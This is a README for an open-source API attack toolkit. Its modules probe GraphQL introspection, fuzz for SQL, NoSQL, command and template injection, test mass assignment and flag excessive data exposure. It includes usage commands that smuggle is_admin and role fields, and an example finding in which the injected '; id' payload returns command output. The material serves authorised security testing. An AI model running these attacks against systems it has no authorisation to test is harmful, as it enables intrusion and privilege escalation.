Active exploitation modules for APIs — GraphQL introspection abuse, injection fuzzing (SQLi / NoSQLi / command / SSTI), mass assignment, and excessive-data-exposure — that confirm bugs from the response, not just flag them from a spec.
This is the offensive counterpart to a checklist scanner: each module sends real attack payloads and looks for the tell-tale response (a SQL error, 49 from 7*7, command output, a smuggled is_admin echoed back).
| Command | Attack | How it confirms |
|---|---|---|
graphql |
introspection abuse | dumps the schema, flags field suggestions and query batching |
inject |
SQLi / NoSQLi / cmd / SSTI | SQL-error signatures, time delay, command output, 7*7 → 49 |
massassign |
mass assignment | smuggles is_admin/role and detects them echoed/persisted |
expose |
excessive data exposure | walks the JSON response for sensitive keys (password_hash, api_key, ssn, …) |
git clone https://github.com/Sudo-Zaid/advanced-api-attack-toolkit
cd advanced-api-attack-toolkit
pip install -e .# GraphQL: introspection, suggestions, batching
advapi graphql https://api.example.com/graphql
# Injection: fuzz the ?q= parameter
advapi inject --url https://api.example.com/search --param q --in query
# Injection into a JSON body field
advapi inject --url https://api.example.com/items --param name --method POST --in json
# Mass assignment: smuggle privileged fields on top of a legitimate body
advapi massassign --url https://api.example.com/register \
--base-body '{"username":"bob","email":"bob@x.com"}' \
--fields is_admin=true,role=admin
# Excessive data exposure
advapi expose --url https://api.example.com/meExample finding:
## [CRITICAL] OS command injection (command output returned)
- **target:** `q`
- Output of an injected shell command appeared in the response.payload='; id' -> HTTP 200 (12 ms)
uid=33(www-data)
All modules print Markdown (or --format json) and set a non-zero exit code when medium+ findings exist, so they slot into CI.
- advanced-api-attack-toolkit (this repo) — injection & logic exploitation.
- api-authz-fuzzer — authorization matrix (BOLA/BFLA).
- api-attack-toolkit — spec-driven OWASP passive checks.
Use them together for full coverage.
These modules send real injection and state-changing payloads. Only run against APIs you own or are explicitly authorised to test, ideally in staging. See LICENSE.
MIT © 2026 Sudo-Zaid